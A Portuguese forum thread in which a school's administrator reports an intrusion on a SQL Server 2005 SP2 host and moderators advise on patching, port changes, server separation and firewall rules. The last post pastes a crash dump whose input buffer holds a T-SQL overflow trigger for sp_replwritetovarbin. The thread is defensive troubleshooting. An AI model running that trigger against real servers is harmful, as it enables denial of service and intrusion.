locked
Segurança banco de dados mudança de porta RRS feed

  • Pergunta

  • Olá colegas,

    Estou tendo alguns problemas com invasão no win 2003 r2.
    o trend detectou esta noite um "HKTL SQL SCAN", uma chamada em arquivo "Sun2009.exe" e logo em seguida uma tentativa de conexão a um site de referencia a uma porta ftp.

    Acredito que a tentativa é a coleta de dados. Tem o sql server 2005 com SP 2 neste servidor.

    Alguem conhece este procedimento acima.

    Por medida de segurança, pensei em mudar a porta padrão do SQL SERVER 2005. Pois pelo que pude observar os programas de sqlscan ataca logo esta porta por padrão.

    A mudança da porta pode implicar em algum problema?
    temos direto problema de virus neste servidor.

    Abraço
    terça-feira, 26 de maio de 2009 18:07

Respostas

  • Olá Anderson,

    Você pode especificar que somente as conexões locais podem ser realizadas. Para fazer isso de forma segura, basta executar os seguintes passos:

    - Desabilitar no Surface Area Configuration o uso de conexões remotas (reiniciar o serviço depois)
    - Desabilitar o uso dos protocolos TCP/IP e Named Pipes e deixar apenas o Shared Memory
    - Bloquear no Firewall (do Windows ou outros) requisições para outras portas que não a porta 80 (da Web) se a aplicação for ficar junto com o banco
    - Liberar no Firewall o uso das portas do banco e outras (Terminal Services, Compartilhamento de Arquivos e Impressão, etc) para estações que façam administração do servidor se necessário

    Na hipótese de você conseguir a separação, basta implementar as regras

    - As requisições do servidor WEB devem ser todas filtradas, menos as para a porta do banco
    - Todas as estações não devem acessar o servidor de banco (somente as de administração) se as aplicações forem WEB

    Aproveitando...

    Como verificar se o SQL Server está seguro ?
    http://gustavomaiaaguiar.spaces.live.com/blog/cns!F4F5C630410B9865!141.entry

    [ ]s,

    Gustavo Maia Aguiar
    http://gustavomaiaaguiar.spaces.live.com

    Como executar tarefas ao iniciar o SQL Server ?
    http://gustavomaiaaguiar.spaces.live.com/blog/cns!F4F5C630410B9865!570.entry
    Classifique as respostas. O seu feedback é imprescindível
    terça-feira, 26 de maio de 2009 19:45

Todas as Respostas

  • Olá Anderson,

    Se o vírus for um pouquinho esperto, consultará na registry a porta utilizada. Na verdade, se o vírus já está ativo, a questão da porta é irrelevante, pois, ele já está no servidor. A mudança da porta pode ser interessante para evitar ataques nessa porta específica.

    Não há nenhum problema em mudar a porta. Só certifique-se de que suas aplicações não utilizam string de conexão baseada em porta (muito comum no mundo Java) e que o SQL Browser está ativo.

    E lembre-se de passar um bom anti-vírus, pois, não é comum ter problemas de vírus em servidores.

    [ ]s,

    Gustavo Maia Aguiar
    http://gustavomaiaaguiar.spaces.live.com

    Como executar tarefas ao iniciar o SQL Server ?
    http://gustavomaiaaguiar.spaces.live.com/blog/cns!F4F5C630410B9865!570.entry
    Classifique as respostas. O seu feedback é imprescindível
    terça-feira, 26 de maio de 2009 18:20
  • Anderson,

    Concordo com o Gustavo, vírus em servidores não é uma coisa muito comum, alias isso é um risco muito grande quando ocorre.


    Pedro Antonio Galvão Junior - MVP - Windows Server System - SQL Server/Coordenador de Projetos/DBA
    terça-feira, 26 de maio de 2009 18:26
    Moderador
  • Grande Gustavo,

    direto temos  este problema neste servidor.

    nele rodamos o sql server 2005 sp2 e os websites feito em asp.net 2.0 + c#.
    Atualmente estamos com projeto de Portal do Professor. Todo lançamento de notas, faltas, anotações estão neste banco e é a unica maquina dos servidores q tem acesso externo devido aos website.

    atualmente tem alguma vunerabilidade que o SQLSCAN esta forçando? Algum bug?

    estou para baixar este patch de atualização:

    - Security Update for SQL Server 2005 Service Pack 2 (KB948108)
    http://www.microsoft.com/downloads/details.aspx?familyid=A60BB7E7-EF4E-4CBD-B63A-0AD7BD1402B3&displaylang=en

    - Security Update for SQL Server 2005 Service Pack 2 (KB954606)
    http://www.microsoft.com/downloads/details.aspx?familyid=4603C722-2468-4ADB-B945-2ED0458B8F47&displaylang=en


    O que vc acha?

    Forte abraço!!!

    terça-feira, 26 de maio de 2009 18:30
  • Boa Tarde,

    Aplicar os patches de segurança é sempre bem vindo, mas se esse servidor pode ser acessado externamente não seria possível separar o banco do servidor Web ? Você deixar o servidor do banco de dados aberto para o mundo é expor seus dados ao risco. Nem sempre é possível (pode ser que o orçamento não deixe) mas se puder separá-los...

    Como o servidor está compartilhado, pode ser que o problema não seja o SQL Server.

    Já faz muito tempo que não vejo vulnerabilidades do tipo SQL Slammer ou SQL Spida, mas compartilhar o servidor de banco com as aplicações WEB representa fortes riscos

    [ ]s,

    Gustavo Maia Aguiar
    http://gustavomaiaaguiar.spaces.live.com

    Como executar tarefas ao iniciar o SQL Server ?
    http://gustavomaiaaguiar.spaces.live.com/blog/cns!F4F5C630410B9865!570.entry
    Classifique as respostas. O seu feedback é imprescindível
    terça-feira, 26 de maio de 2009 18:51
  • Gustavo,

    irei junto ao meu Gestor tentar separar os servidores.
    Neste caso, o servidor web estaria disponivel a porta 80.

    O servidor de banco de dados tenho que liberar a porta 1434 para eu poder ter acesso de minha maquina com sql management. Tem forma de especificar que a porta só pode ser acessado de forma local?? neste caso só o servidor web como estar na mesma rede poderá acessa-lo.

    Abraço
    terça-feira, 26 de maio de 2009 19:20
  • Olá Anderson,

    Você pode especificar que somente as conexões locais podem ser realizadas. Para fazer isso de forma segura, basta executar os seguintes passos:

    - Desabilitar no Surface Area Configuration o uso de conexões remotas (reiniciar o serviço depois)
    - Desabilitar o uso dos protocolos TCP/IP e Named Pipes e deixar apenas o Shared Memory
    - Bloquear no Firewall (do Windows ou outros) requisições para outras portas que não a porta 80 (da Web) se a aplicação for ficar junto com o banco
    - Liberar no Firewall o uso das portas do banco e outras (Terminal Services, Compartilhamento de Arquivos e Impressão, etc) para estações que façam administração do servidor se necessário

    Na hipótese de você conseguir a separação, basta implementar as regras

    - As requisições do servidor WEB devem ser todas filtradas, menos as para a porta do banco
    - Todas as estações não devem acessar o servidor de banco (somente as de administração) se as aplicações forem WEB

    Aproveitando...

    Como verificar se o SQL Server está seguro ?
    http://gustavomaiaaguiar.spaces.live.com/blog/cns!F4F5C630410B9865!141.entry

    [ ]s,

    Gustavo Maia Aguiar
    http://gustavomaiaaguiar.spaces.live.com

    Como executar tarefas ao iniciar o SQL Server ?
    http://gustavomaiaaguiar.spaces.live.com/blog/cns!F4F5C630410B9865!570.entry
    Classifique as respostas. O seu feedback é imprescindível
    terça-feira, 26 de maio de 2009 19:45
  • Ja tem um tempo que falo sobre o usuario SA daqui. não tem senha.
    Vai ser uma ____ isso, acho que estão utilizando esta falha de planejamento.


    Hoje executei um procedimento para identificar uma falha no sql: resultado::

    2009-05-26 15:30:47.080 spid70 Using 'dbghelp.dll' version '4.0.5'
    2009-05-26 15:30:47.100 spid70 ***Stack Dump being sent to C:\Arquivos de programas\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\SQLDump0001.txt
    2009-05-26 15:30:47.100 spid70 SqlDumpExceptionHandler: Process 70 generated fatal exception c0000005 EXCEPTION_ACCESS_VIOLATION. SQL Server is terminating this process.
    2009-05-26 15:30:47.100 spid70 * *******************************************************************************
    2009-05-26 15:30:47.100 spid70 *
    2009-05-26 15:30:47.100 spid70 * BEGIN STACK DUMP:
    2009-05-26 15:30:47.100 spid70 *   05/26/09 15:30:47 spid 70
    2009-05-26 15:30:47.100 spid70 *
    2009-05-26 15:30:47.100 spid70 *
    2009-05-26 15:30:47.100 spid70 *   Exception Address = 0202C1AD Module(sqlservr+0102C1AD)
    2009-05-26 15:30:47.100 spid70 *   Exception Code    = c0000005 EXCEPTION_ACCESS_VIOLATION
    2009-05-26 15:30:47.100 spid70 *   Access Violation occurred writing address 41414145
    2009-05-26 15:30:47.100 spid70 * Input Buffer 510 bytes -
    2009-05-26 15:30:47.100 spid70 *             DECLARE @buf NVARCHAR(4000),   @val NVARCHAR(4),   @counter I
    2009-05-26 15:30:47.100 spid70 *  NT    SET @buf = '  declare @retcode int,   @end_offset int,   @vb_buffe
    2009-05-26 15:30:47.100 spid70 *  r varbinary,  @vb_bufferlen int,   @buf nvarchar;  exec master.dbo.sp_re
    2009-05-26 15:30:47.100 spid70 *  plwritetovarbin 1,     @end_offset output,     @vb_buffer output,    @vb
    2009-05-26 15:30:47.100 spid70 *  _bufferlen output,'''    SET @val = CHAR(0x41)    SET @counter = 0  WHIL
    2009-05-26 15:30:47.100 spid70 *  E @counter < 3000  BEGIN    SET @counter = @counter + 1    SET @buf = @b
    2009-05-26 15:30:47.100 spid70 *  uf + @val  END    SET @buf = @buf + ''',''1'',''1'',''1'',  ''1'',''1'',
    2009-05-26 15:30:47.100 spid70 *  ''1'',''1'',''1'',''1'''    EXEC master..sp_executesql @buf 
    2009-05-26 15:30:47.100 spid70 * 
    2009-05-26 15:30:47.100 spid70 *
    2009-05-26 15:30:47.100 spid70 *  MODULE                          BASE      END       SIZE
    2009-05-26 15:30:47.100 spid70 * sqlservr                       01000000  02C09FFF  01c0a000
    2009-05-26 15:30:47.100 spid70 * ntdll                          7C910000  7C9D3FFF  000c4000
    2009-05-26 15:30:47.100 spid70 * kernel32                       7C800000  7C90BFFF  0010c000
    2009-05-26 15:30:47.100 spid70 * MSVCR80                        78130000  781CAFFF  0009b000
    2009-05-26 15:30:47.100 spid70 * msvcrt                         77B90000  77BE9FFF  0005a000
    2009-05-26 15:30:47.100 spid70 * MSVCP80                        7C420000  7C4A6FFF  00087000
    2009-05-26 15:30:47.100 spid70 * ADVAPI32                       77D90000  77E3CFFF  000ad000
    2009-05-26 15:30:47.100 spid70 * RPCRT4                         77C40000  77CDEFFF  0009f000
    2009-05-26 15:30:47.100 spid70 * Secur32                        76E70000  76E82FFF  00013000
    2009-05-26 15:30:47.100 spid70 * USER32                         77F40000  77FD0FFF  00091000
    2009-05-26 15:30:47.100 spid70 * GDI32                          77BF0000  77C37FFF  00048000


    * MFC42                          67040000  67160FFF  00121000
    * WININET                        779D0000  77A7BFFF  000ac000
    * SXS                            671F0000  672ACFFF  000bd000
    * dbghelp                        67BB0000  67CC4FFF  00115000
    *
    *        Edi: 00000CAF: 
    *        Esi: 15862320:  0000A500  15862390  00000CAF  00000000  00000000  00000000 
    *        Eax: 41414141: 
    *        Ebx: 0000000E: 
    *        Ecx: 158625D0:  41414141  41414141  41414141  41414141  41414141  41414141 
    *        Edx: 00000003: 
    *        Eip: 0202C1AD:  C6047889  958B0000  FFFFFF5C  000442C7  C6000000  6400FC45 
    *        Ebp: 635AD828:  635AD8C4  01C1C3B1  635AD864  635A2C34  15862E70  15862540 
    *      SegCs: 0000001B: 
    *     EFlags: 00010212:  00510053  0058004C  004C004D  00340020  0030002E  0062005C 
    *        Esp: 635AB72C:  635A2CD8  00000000  00000018  15862540  005F005F  005F005F 
    *      SegSs: 00000023: 
    * *******************************************************************************
    * -------------------------------------------------------------------------------
    * Short Stack Dump
    0202C1AD Module(sqlservr+0102C1AD)
    01C1C3B1 Module(sqlservr+00C1C3B1)
    01C1BBEA Module(sqlservr+00C1BBEA)
    014B3FE1 Module(sqlservr+004B3FE1)
    012389B6 Module(sqlservr+002389B6)
    0123882D Module(sqlservr+0023882D)
    012386C2 Module(sqlservr+002386C2)
    010227F3 Module(sqlservr+000227F3)




    External dump process return code 0x20000001.  External dump process returned no errors.
    Using 'dbghelp.dll' version '4.0.5'
    ***Stack Dump being sent to C:\Arquivos de programas\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\SQLDump0002.txt
    SqlDumpExceptionHandler: Process 70 generated fatal exception c0000005 EXCEPTION_ACCESS_VIOLATION. SQL Server is terminating this process.
    * *******************************************************************************
    *
    * BEGIN STACK DUMP:
    *   05/26/09 15:33:02 spid 70
    *
    *
    *   Exception Address = 0122C581 Module(sqlservr+0022C581)
    *   Exception Code    = c0000005 EXCEPTION_ACCESS_VIOLATION
    *   Access Violation occurred reading address 41414145
    * Input Buffer 78 bytes -
    *             sp_help sp_replwritetovarbin

    *
    *  MODULE                          BASE      END       SIZE
    * sqlservr                       01000000  02C09FFF  01c0a000
    * ntdll                          7C910000  7C9D3FFF  000c4000
    * kernel32                       7C800000  7C90BFFF  0010c000
    * MSVCR80                        78130000  781CAFFF  0009b000
    * msvcrt                         77B90000  77BE9FFF  0005a000
    * MSVCP80                        7C420000  7C4A6FFF  00087000
    * ADVAPI32                       77D90000  77E3CFFF  000ad000
    * RPCRT4                         77C40000  77CDEFFF  0009f000
    * Secur32                        76E70000  76E82FFF  00013000
    * USER32                         77F40000  77FD0FFF  00091000
    * GDI32                          77BF0000  77C37FFF  00048000
    * CRYPT32                        760D0000  76164FFF  00095000
    * MSASN1                         760B0000  760C1FFF  00012000
    * MSWSOCK                        71970000  719B1FFF  00042000
    * WS2_32                         71A50000  71A66FFF  00017000
    * WS2HELP                        71A40000  71A47FFF  00008000
    * USERENV                        76840000  76902FFF  000c3000
    * opends60                       333E0000  333E6FFF  00007000
    * NETAPI32                       71A90000  71AE6FFF  00057000


    010B939C Module(sqlservr+000B939C)
    010B9064 Module(sqlservr+000B9064)
    010B9201 Module(sqlservr+000B9201)
    781329BB Module(MSVCR80+000029BB)
    78132A47 Module(MSVCR80+00002A47)
    Stack Signature for the dump is 0xF2862876
    External dump process return code 0x20000001.  External dump process returned no errors.


    O erro que gerou, meu trend logo identificou codigo malicioso no temp que foi criado.... é referente a SP "sp_replwritetovarbin"

    Forte abraço
    terça-feira, 26 de maio de 2009 20:06